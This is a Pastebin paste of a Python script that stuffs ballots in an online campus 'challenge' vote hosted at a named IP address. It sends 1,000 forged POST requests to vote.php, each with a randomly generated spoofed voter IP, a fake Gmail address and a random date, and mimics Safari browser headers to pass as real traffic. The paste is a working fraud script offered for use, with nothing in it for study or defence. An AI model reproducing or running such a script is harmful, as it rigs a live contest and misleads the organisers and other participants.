Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random
- import socket
- import struct
- from random import randrange
- from datetime import timedelta, datetime
- import string
- def random_date(start, end):
- """
- This function will return a random datetime between two datetime
- objects.
- """
- delta = end - start
- int_delta = (delta.days * 24 * 60 * 60) + delta.seconds
- random_second = randrange(int_delta)
- return start + timedelta(seconds=random_second)
- def random_char(y):
- return ''.join(random.choice(string.ascii_letters) for x in range(y))
- headers = {
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'Origin': 'http://217.182.171.93',
- 'Content-Length': '78',
- 'Accept-Language': 'en-gb',
- 'Upgrade-Insecure-Requests': '1',
- 'Host': '217.182.171.93',
- 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Safari/605.1.15',
- 'Referer': 'http://217.182.171.93/challenge-campus/vote.php?bdeid=8',
- 'Accept-Encoding': 'gzip, deflate',
- 'Connection': 'keep-alive',
- }
- d1 = datetime(year=2019, month=1, day=1)
- d2 = datetime(year=2019, month=1, day=15)
- params = (
- ('bdeid', '8'),
- )
- for i in range(1000):
- ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
- mail = random_char(10)
- date = str(random_date(d1, d2))
- data = {
- 'vote_ip': ip,
- 'vote_date': date,
- 'vote_bde': '8',
- 'vote_email': mail + '@gmail.com'
- }
- response = requests.post('http://217.182.171.93/challenge-campus/vote.php', headers=headers, params=params, data=data)
- print("[+] vote from " + mail + "@gmail.com (" + ip + ") at " + date)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement